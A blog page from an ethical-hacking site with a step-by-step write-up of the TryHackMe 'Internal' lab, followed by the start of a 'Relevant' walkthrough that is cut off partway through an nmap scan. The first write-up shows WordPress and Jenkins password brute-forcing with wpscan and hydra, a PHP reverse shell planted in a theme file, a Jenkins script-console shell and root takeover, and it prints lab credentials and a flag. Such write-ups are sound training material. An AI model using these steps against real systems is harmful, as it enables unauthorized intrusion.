-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

Showing posts with label Vulnerability Assessment & Penetration Testing Report. Show all posts
Showing posts with label Vulnerability Assessment & Penetration Testing Report. Show all posts
  • TryHackMe Penetration Testing Challenge

     

    TryHackMe Penetration Testing Challenge


     

    We have been engaged in a Black-box Penetration Test (IP address may be differ). Our goal is to read the user flag and root flag file on machine. On some of them, you will be required to exploit a Abuse of write permission in Samba service in order to read the flag. TryHackMe Penetration Testing Challenge

    Some Machines are exploitable instantly but some might require exploiting other ones first. Enumerate every compromised machine to identify valuable information, that will help you proceed further into the environment.

    If you are stuck on one of the machines, don't overthink and start pentesting another one.

    When you read the flag file, you can be sure that the machine was successfully compromised. But keep your eyes open - apart from the flag, other useful information may be present on the system.

    You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks. 



    Scope of Work


    The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test).  The client has asked that you secure two flags (no location provided) as proof of exploitation:



        User.txt
        Root.txt



    Additionally, the client has provided the following scope allowances:

        Ensure that you modify your hosts file to reflect internal.thm
        Any tools or techniques are permitted in this engagement
        Locate and note all vulnerabilities found
        Submit the flags discovered to the dashboard
        Only the IP address assigned to your machine is in scope



    (Roleplay off)



    I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.


    Enumeration

    First thing you have to do is that which the machine you  want to attack, you have to append internal.thm and point it to target machines IP address inside hosts file on attacker machine because the reason 1 is.

    As you probably already know, if you make any type of request to any hostname, the domain name gets translated to an IP address. In TCP/IP, only the IP address is transferred and not the hostname. In services such as HTTP(S), you also transfer the hostname in the “Host” HTTP header. If you visit a website through the URL with IP address in it, the Host header will contain the IP address. If you visit the URL with the hostname in it, the Host header will contain that hostname. Then it depends on the web server how it will process the request based on that header. In TLS handshake, you can also send the hostname in the “server_name” extension. So if the underlying back-end services only respond to the hostname, the easiest solution to send it natively is to modify your hosts file. The software that you use (e.g. a web browser) will do the rest. Credits: u/AMDcze (reddit).


    Reason 2: One IP address can host multiple websites on same webserver through virtual hosting (vhost) technique. If by any chance the target server has any multiple websites then it would be hard to figure out which is which. By pointing DNS in hosts file you are actually saying your apps to target only the specific domain.

    Reason 3: What if there are any subdomains? How to enumerate them without domain itself? While enumerating you have to expect that there’s a possibility of subdomain, so that you need domain itself. You can enumerate subdomain through an IP address


    Like :-



    TryHackMe Penetration Testing Challenge





    we do thing like enumeration by nmap and we will check which which ports are open and closed and state, service, version too.

    nmap -sC -sV internal.thm

      
    
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo nmap -sC -sV internal.thm  
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-23 17:48 IST
    Nmap scan report for internal.thm (10.10.133.153)
    Host is up (0.22s latency).
    Not shown: 998 closed tcp ports (reset)
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
    |   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
    |_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: Apache2 Ubuntu Default Page: It works
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 19.27 seconds
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ 
    
     
      
    


    i visited internal.thm with port no 80, 22 etc but i didn't get any clue like any password, username, robots.txt etc.


    But now we will enumeration with gobuster and find out directory and we get a likely wordpress site...


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ gobuster -e .php,.html,.txt dir -u http://10.10.4.254/ -w /usr/share/dirb/wordlists/common.txt
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.10.4.254/
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/dirb/wordlists/common.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Expanded:                true
    [+] Timeout:                 10s
    ===============================================================
    2022/03/21 07:39:49 Starting gobuster in directory enumeration mode
    ===============================================================
    http://10.10.4.254/.htaccess            (Status: 403) [Size: 276]
    http://10.10.4.254/.htpasswd            (Status: 403) [Size: 276]
    http://10.10.4.254/.hta                 (Status: 403) [Size: 276]
    http://10.10.4.254/blog                 (Status: 301) [Size: 309] [--> http://10.10.4.254/blog/]
    http://10.10.4.254/index.html           (Status: 200) [Size: 10918]                             
    http://10.10.4.254/javascript           (Status: 301) [Size: 315] [--> http://10.10.4.254/javascript/]
    http://10.10.4.254/phpmyadmin           (Status: 301) [Size: 315] [--> http://10.10.4.254/phpmyadmin/]
    http://10.10.4.254/server-status        (Status: 403) [Size: 276]                                     
    http://10.10.4.254/wordpress            (Status: 301) [Size: 314] [--> http://10.10.4.254/wordpress/] 
                                                                                                          
    ===============================================================
    2022/03/21 07:41:46 Finished
    ===============================================================
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ #www.kumaratuljaiswal.in    #www.hackingtruth.in                                                   
    
    
    
    



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal] └─$ gobuster -e .php,.html,.txt dir -u http://10.10.4.254/wordpress/ -w /usr/share/dirb/wordlists/common.txt 130 ⨯ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.4.254/wordpress/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/03/21 08:09:54 Starting gobuster in directory enumeration mode =============================================================== http://10.10.4.254/wordpress/.hta (Status: 403) [Size: 276] http://10.10.4.254/wordpress/.htaccess (Status: 403) [Size: 276] http://10.10.4.254/wordpress/.htpasswd (Status: 403) [Size: 276] http://10.10.4.254/wordpress/index.php (Status: 301) [Size: 0] [--> http://10.10.4.254/wordpress/] http://10.10.4.254/wordpress/wp-admin (Status: 301) [Size: 323] [--> http://10.10.4.254/wordpress/wp-admin/] http://10.10.4.254/wordpress/wp-content (Status: 301) [Size: 325] [--> http://10.10.4.254/wordpress/wp-content/] http://10.10.4.254/wordpress/wp-includes (Status: 301) [Size: 326] [--> http://10.10.4.254/wordpress/wp-includes/] http://10.10.4.254/wordpress/xmlrpc.php (Status: 405) [Size: 42] =============================================================== 2022/03/21 08:12:12 Finished =============================================================== ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal] └─$


    we will get a /blog directory and now we will visit..



    TryHackMe Penetration Testing Challenge




    As you can see from above on going process, it already found a directory that is /blog. If we visit http://internal.thm/blog then we see a blog with one single post named as “Hello World”.


    It’s obvious now that this is designed using WordPress application. We have a user called “admin”, who posted this blog.


    When we go to internal.thm/blog and you can see there are hello world printed wordpress website and if you do research when you have to go "view page source" and to do that press ctrl+f and type ver.

    so you can see that the version and theme is twentyseven and version is 5.4.2

    lets exploit because i think there are some exploitation code available for this version and the theme...


    internal.thm/blog/?author=1



    TryHackMe Penetration Testing Challenge


     

    Otherwise we get a login page also but we don't have any password..

     


    TryHackMe Penetration Testing Challenge


    Wordpress enumeration



    Browsing /blog confirms our assumption, this is a Wordpress blog. Let’s enumerate the users with wpscan:

    wpscan --url http://10.10.4.254/blog -e u


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo wpscan --url http://10.10.4.254/blog -e u 
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.20
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [i] It seems like you have not updated the database for some time.
    [?] Do you want to update now? [Y]es [N]o, default: [N]
    [+] URL: http://10.10.4.254/blog/ [10.10.4.254]
    [+] Started: Mon Mar 21 08:35:39 2022
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    [+] XML-RPC seems to be enabled: http://10.10.4.254/blog/xmlrpc.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
     | References:
     |  - http://codex.wordpress.org/XML-RPC_Pingback_API
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
     |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
    
    [+] WordPress readme found: http://10.10.4.254/blog/readme.html
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
    
    [+] The external WP-Cron seems to be enabled: http://10.10.4.254/blog/wp-cron.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 60%
     | References:
     |  - https://www.iplocation.net/defend-wordpress-from-ddos
     |  - https://github.com/wpscanteam/wpscan/issues/1299
    
    [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
     | Found By: Emoji Settings (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
     | Confirmed By: Meta Generator (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'WordPress 5.4.2'
    
    [i] The main theme could not be detected.
    
    [+] Enumerating Users (via Passive and Aggressive Methods)
     Brute Forcing Author IDs - Time: 00:00:02 <==============================================================================================================> (10 / 10) 100.00% Time: 00:00:02
    
    [i] User(s) Identified:
    
    [+] admin
     | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
     | Confirmed By: Login Error Messages (Aggressive Detection)
    
    [!] No WPScan API Token given, as a result vulnerability data has not been output.
    [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
    
    [+] Finished: Mon Mar 21 08:36:13 2022
    [+] Requests Done: 49
    [+] Cached Requests: 4
    [+] Data Sent: 11.302 KB
    [+] Data Received: 240.52 KB
    [+] Memory used: 123.637 MB
    [+] Elapsed time: 00:00:33
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ 
    
    
    
    
    
    
    

    According to WPScan, the only user is admin. Let’s try to brute force the password, using the bruteforce feature of WPScan:

    wpscan --url http://10.10.4.254/blog  --usernames admin --passwords /home/hackerboy/Desktop/tryhackme-internal/rockyou.txt


    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ sudo wpscan --url http://10.10.4.254/blog  --usernames admin --passwords /home/hackerboy/Desktop/tryhackme-internal/rockyou.txt
    [sudo] password for hackerboy: 
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.20
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [i] It seems like you have not updated the database for some time.
    [?] Do you want to update now? [Y]es [N]o, default: [N]
    [+] URL: http://10.10.4.254/blog/ [10.10.4.254]
    [+] Started: Mon Mar 21 08:53:33 2022
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    [+] XML-RPC seems to be enabled: http://10.10.4.254/blog/xmlrpc.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
     | References:
     |  - http://codex.wordpress.org/XML-RPC_Pingback_API
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
     |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
    
    [+] WordPress readme found: http://10.10.4.254/blog/readme.html
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
    
    [+] The external WP-Cron seems to be enabled: http://10.10.4.254/blog/wp-cron.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 60%
     | References:
     |  - https://www.iplocation.net/defend-wordpress-from-ddos
     |  - https://github.com/wpscanteam/wpscan/issues/1299
    
    [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
     | Found By: Emoji Settings (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
     | Confirmed By: Meta Generator (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'WordPress 5.4.2'
    
    [i] The main theme could not be detected.
    
    [+] Enumerating All Plugins (via Passive Methods)
    
    [i] No plugins Found.
    
    [+] Enumerating Config Backups (via Passive and Aggressive Methods)
     Checking Config Backups - Time: 00:00:13 <=============================================================================================================> (137 / 137) 100.00% Time: 00:00:13
    
    [i] No Config Backups Found.
    
    [+] Performing password attack on Xmlrpc against 1 user/s
    [SUCCESS] - admin / my2boys                                                                                                                                                                 
    Trying admin / 111111 Time: 00:00:01 <=================================                                                                                    > (10 / 34) 29.41%  ETA: ??:??:??
    
    [!] Valid Combinations Found:
     | Username: admin, Password: my2boys
    
    [!] No WPScan API Token given, as a result vulnerability data has not been output.
    [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
    
    [+] Finished: Mon Mar 21 08:54:10 2022
    [+] Requests Done: 177
    [+] Cached Requests: 4
    [+] Data Sent: 48.436 KB
    [+] Data Received: 201.522 KB
    [+] Memory used: 171.504 MB
    [+] Elapsed time: 00:00:36
                                                                                                                                                                                                
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    
    

    Username: admin, Password: my2boys



    TryHackMe Penetration Testing Challenge



    after login (http://internal.thm/blog/wp-admin/) is successful with admin:my2boys and we now have the ability to modify the templates PHP source code. This will be convenient to write a reverse shell.


    In the web interface, go to “Appearance > Theme Editor > 404.php” and replace the PHP code with a PHP reverse shell (e.g. http://pentestmonkey.net/tools/web-shells/php-reverse-shell).


    But before that we have to edit it to add our attacker machine IP address and port address.

    We are doing this because, after this .php file execution it gives us a reverse shell on specified IP address and port.



    TryHackMe Penetration Testing Challenge



    and after than open a listener ( nc -lvnp 4444) and call the template (http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php).

     

    -l (Listen mode, for inbound connects)
    -v (verbose)
    -n (Suppress name/port resolutions)
    -p (Specify local port for remote connects)

     



    TryHackMe Penetration Testing Challenge



    TryHackMe Penetration Testing Challenge




    TryHackMe Penetration Testing Challenge



    Now we have a reverse shell on our machine (kali linux). Let’s move around and find out who’s the user of this machine.

    There are one directory available but we don't have any access...



    TryHackMe Penetration Testing Challenge


    but there is an interesting file in the /opt directory.



    TryHackMe Penetration Testing Challenge



    NOTE- We do not have any reason to use these command but, yes if you want a SHELL on a machine through which you can easily access everything, then you absolutely can.

    we have used this for clear command because it was not already available in its environment.

     

     

    $ whoami
    www-data
    $ #www.hackingtruth.org
    $ python -c 'import pty; pty.spawn("/bin/bash");'
    www-data@internal:/$ export TERM=xterm
    export TERM=xterm
    www-data@internal:/$ ls
    ls
    bin    dev   initrd.img      lib64       mnt   root  snap      sys  var
    boot   etc   initrd.img.old  lost+found  opt   run   srv       tmp  vmlinuz
    cdrom  home  lib             media       proc  sbin  swap.img  usr  vmlinuz.old
    www-data@internal:/$ cd /opt
    cd /opt
    www-data@internal:/opt$ ls
    ls
    containerd  wp-save.txt
    www-data@internal:/opt$ cat wp-save.txt
    cat wp-save.txt
    Bill,
    
    Aubreanna needed these credentials for something later.  Let her know you have them and where they are.
    
    aubreanna:bubb13guM!@#123
    www-data@internal:/opt$ 
    
    
    

     


    python -c 'import pty; pty.spawn("/bin/bash");'

    export TERM=xterm


    Even MySQL credentials can be found by inspecting the wp-config.php file – unfortunately these did not seem to server any purpose although it’s always best to check for these:

    cd /var/www/html/wordpress

    ls

    cat wp-config.php



    TryHackMe Penetration Testing Challenge

     

     

    Logging in as the aubreanna user via SSH:


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ ssh aubreanna@internal.thm      
    The authenticity of host 'internal.thm (10.10.93.158)' can't be established.
    ED25519 key fingerprint is SHA256:seRYczfyDrkweytt6CJT/aBCJZMIcvlYYrTgoGxeHs4.
    This key is not known by any other names
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added 'internal.thm' (ED25519) to the list of known hosts.
    aubreanna@internal.thm's password: 
    Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
      System information as of Mon Mar 21 14:11:08 UTC 2022
    
      System load:  0.0               Processes:              114
      Usage of /:   63.7% of 8.79GB   Users logged in:        0
      Memory usage: 34%               IP address for eth0:    10.10.93.158
      Swap usage:   0%                IP address for docker0: 172.17.0.1
    
      => There is 1 zombie process.
    
    
     * Canonical Livepatch is available for installation.
       - Reduce system reboots and improve kernel security. Activate at:
         https://ubuntu.com/livepatch
    
    0 packages can be updated.
    0 updates are security updates.
    
    
    Last login: Mon Aug  3 19:56:19 2020 from 10.6.2.56
    aubreanna@internal:~$ whoami
    aubreanna                                                                                      
    aubreanna@internal:~$ 
                                                                                                             
                                        
    
    
    

    User flag


    The user flag is in aubreanna’s home folder:


    cd /home/aubreanna
    ls
    cat user.txt


    TryHackMe Penetration Testing Challenge



    Root.txt Flag


    When enumerating the home directory, found information about Jenkins, which appears to be running on port 8080:



    TryHackMe Penetration Testing Challenge



    Since port 8080 can only by accessed locally, setting up port forwarding in order to redirect traffic to localhost on port 1234 to the target machine on port 8080:





    Jenkins is now accessible from the Kali host:

    Default credentials did not seem to work, capturing the login request in order to construct a Hydra command to try and brute-force credentials:


    TryHackMe Penetration Testing Challenge



    Using hydra to brute-force the password, using the following flags:

    • -f to stop the attack when a valid password is found
    • -l to specify the username for the brute-force attack
    • -P to specify the wordlist to use for the bruteforce attack
    • -s to specify the port to connect to
    • the service and target to brute force
    • http-post-form to specify the URL including all of the parameters used in the request, such as the username, password, and the failed authentication message




    sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_aceom=%2F&Submit=Sign+in:Invalid username or password"

    OR


    sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^=%2F&Submit=Sign+in:Invalid username or password"



    TryHackMe Penetration Testing Challenge




    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_aceom=%2F&Submit=Sign+in:Invalid username or password"  
    Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organthese *** ignore laws and ethics anyway).
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-21 21:25:51
    [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per t
    [DATA] attacking http-post-form://127.0.0.1:1234/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&fr
    [1234][http-post-form] host: 127.0.0.1   login: admin   password: spongebob
    [STATUS] attack finished for 127.0.0.1 (valid pair found)
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-21 21:26:41
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ #www.kumaratuljaiswal.in    #www.hackingtruth.in
    
    
    
    


    Hydra was able to brute-force the admin user’s password. Logging into Jenkins:


    TryHackMe Penetration Testing Challenge


    Jenkins comes with a “Script Console” administrative tool, which allows authenticated users to run scripts using Apache Groovy, a Java-syntax-compatible object-oriented programming language for the Java platform. This can be leveraged to execute Bash commands as well as reverse shells.

    Clicking on “Manage Jenkins–>Script Console:


    The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

        -l to listen for incoming connections
        -v for verbose output
        -n to skip the DNS lookup
        -p to specify the port to listen on


     

     

    TryHackMe Penetration Testing Challenge


    Used the reverse shell also from this handy blog post, replacing IP address and port:



    TryHackMe Penetration Testing Challenge


    A callback was received, granting access as the jenkins user within a Docker container:

    When enumerating common files and folders in the web server, the /opt directory appears to contain a note with the root password:


    cd /
    clear
    TERM environment variable not set.
    export TERM=xterm
    clear
    whoami
    jenkins
    pwd
    /
    ls -la
    total 84
    drwxr-xr-x   1 root root 4096 Aug  3  2020 .
    drwxr-xr-x   1 root root 4096 Aug  3  2020 ..
    -rwxr-xr-x   1 root root    0 Aug  3  2020 .dockerenv
    drwxr-xr-x   1 root root 4096 Aug  3  2020 bin
    drwxr-xr-x   2 root root 4096 Sep  8  2019 boot
    drwxr-xr-x   5 root root  340 Mar 21 12:54 dev
    drwxr-xr-x   1 root root 4096 Aug  3  2020 etc
    drwxr-xr-x   2 root root 4096 Sep  8  2019 home
    drwxr-xr-x   1 root root 4096 Jan 30  2020 lib
    drwxr-xr-x   2 root root 4096 Jan 30  2020 lib64
    drwxr-xr-x   2 root root 4096 Jan 30  2020 media
    drwxr-xr-x   2 root root 4096 Jan 30  2020 mnt
    drwxr-xr-x   1 root root 4096 Aug  3  2020 opt
    dr-xr-xr-x 130 root root    0 Mar 21 12:54 proc
    drwx------   1 root root 4096 Aug  3  2020 root
    drwxr-xr-x   3 root root 4096 Jan 30  2020 run
    drwxr-xr-x   1 root root 4096 Jul 28  2020 sbin
    drwxr-xr-x   2 root root 4096 Jan 30  2020 srv
    dr-xr-xr-x  13 root root    0 Mar 21 13:56 sys
    drwxrwxrwt   1 root root 4096 Mar 21 12:54 tmp
    drwxr-xr-x   1 root root 4096 Jan 30  2020 usr
    drwxr-xr-x   1 root root 4096 Jul 28  2020 var
    cd /var
    ls -la
    total 64
    drwxr-xr-x  1 root    root    4096 Jul 28  2020 .
    drwxr-xr-x  1 root    root    4096 Aug  3  2020 ..
    drwxr-xr-x  2 root    root    4096 Sep  8  2019 backups
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 cache
    drwxr-xr-x 15 jenkins jenkins 4096 Mar 21 12:55 jenkins_home
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 lib
    drwxrwsr-x  2 root    staff   4096 Sep  8  2019 local
    lrwxrwxrwx  1 root    root       9 Jan 30  2020 lock -> /run/lock
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 log
    drwxrwsr-x  2 root    mail    4096 Jan 30  2020 mail
    drwxr-xr-x  2 root    root    4096 Jan 30  2020 opt
    lrwxrwxrwx  1 root    root       4 Jan 30  2020 run -> /run
    drwxr-xr-x  2 root    root    4096 Jan 30  2020 spool
    drwxrwxrwt  2 root    root    4096 Sep  8  2019 tmp
    cd /opt
    ls -la
    total 12
    drwxr-xr-x 1 root root 4096 Aug  3  2020 .
    drwxr-xr-x 1 root root 4096 Aug  3  2020 ..
    -rw-r--r-- 1 root root  204 Aug  3  2020 note.txt
    cat note.txt
    Aubreanna,
    
    Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
    need access to the root user account.
    
    root:tr0ub13guM!@#123
    
    
    
    


    Root flag


    Back to our initial SSH connection as aubreanna:

    OR


    Authenticating as root through SSH with the credentials found:
    (ssh root@internal.thm)


    TryHackMe Penetration Testing Challenge


    www-data@internal:/$ whoami
    whoami
    www-data
    www-data@internal:/$ cd /var/backups
    cd /var/backups
    www-data@internal:/var/backups$ su root
    su root
    Password: tr0ub13guM!@#123
    
    root@internal:/var/backups# 
    
    


    root@internal:/var/backups# ls
    ls
    alternatives.tar.0 dpkg.diversions.0 group.bak shadow.bak
    apt.extended_states.0 dpkg.statoverride.0 gshadow.bak
    apt.extended_states.1.gz dpkg.status.0 passwd.bak
    root@internal:/var/backups#

    root@internal:/var/backups# cd /root/
    cd /root/
    root@internal:~# ls
    ls
    root.txt snap
    root@internal:~# cat root.txt
    cat root.txt
    THM{d0ck3r_d3str0y3r}
    root@internal:~#





    Congratulations we got it :-)




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.





  • TryHackMe relevant penetration testing walkthrough

      

    TryHackMe relevant penetration testing walkthrough



    We have been engaged in a Black-box Penetration Test (IP address may be differ). Our goal is to read the user flag and root flag file on machine. On some of them, you will be required to exploit a Abuse of write permission in Samba service in order to read the flag.

    Some Machines are exploitable instantly but some might require exploiting other ones first. Enumerate every compromised machine to identify valuable information, that will help you proceed further into the environment.

    If you are stuck on one of the machines, don't overthink and start pentesting another one.

    When you read the flag file, you can be sure that the machine was successfully compromised. But keep your eyes open - apart from the flag, other useful information may be present on the system.



    Pre-Engagement Briefing


    You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in seven days.


    Scope of Work


    The client requests that an engineer conducts an assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test).  The client has asked that you secure two flags (no location provided) as proof of exploitation:

        User.txt
        Root.txt




    Additionally, the client has provided the following scope allowances:


    # Any tools or techniques are permitted in this engagement, however we ask that # you attempt manual exploitation first
    # Locate and note all vulnerabilities found
    # Submit the flags discovered to the dashboard
    # Only the IP address assigned to your machine is in scope
    # Find and report ALL vulnerabilities (yes, there is more than one path to root)

     

    Penetration Testing Methodology


    Reconnaissance

    # Nmap



    Enumeration

    # Smbclient
    # Smbmap



    Exploiting

    # Abuse of write permission in Samba service



    Privilege Escalation

    # Permission in SeImpersonatePrivilege in the system.



    Lets Start, first of all we will Reconnaissance this machine (our target ip may be differ from you ),  lets scan first with nmap..



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-relevant]
    └─$ sudo nmap -sC -sV  10.10.220.229                                                                                                                                                  130 ⨯
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-17 11:22 IST
    Nmap scan report for 10.10.220.229
    Host is up (0.35s latency).
    Not shown: 995 filtered tcp ports (no-response)
    PORT     STATE SERVICE       VERSION
    80/tcp   open  http          Microsoft IIS httpd 10.0
    |_http-server-header: Microsoft-IIS/10.0
    | http-methods: 
    |_  Potentially risky methods: TRACE
    |_http-title: IIS Windows Server
    135/tcp  open  msrpc         Microsoft Windows RPC
    139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
    445/tcp  open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds
    3389/tcp open  ms-wbt-server Microsoft Terminal Services
    |_ssl-date: 2022-03-17T05:53:59+00:00; 0s from scanner time.
    | ssl-cert: Subject: commonName=Relevant
    | Not valid before: 2022-03-16T05:13:22
    |_Not valid after:  2022-09-15T05:13:22
    | rdp-ntlm-info: 
    |   Target_Name: RELEVANT
    |   NetBIOS_Domain_Name: RELEVANT
    |   NetBIOS_Computer_Name: RELEVANT
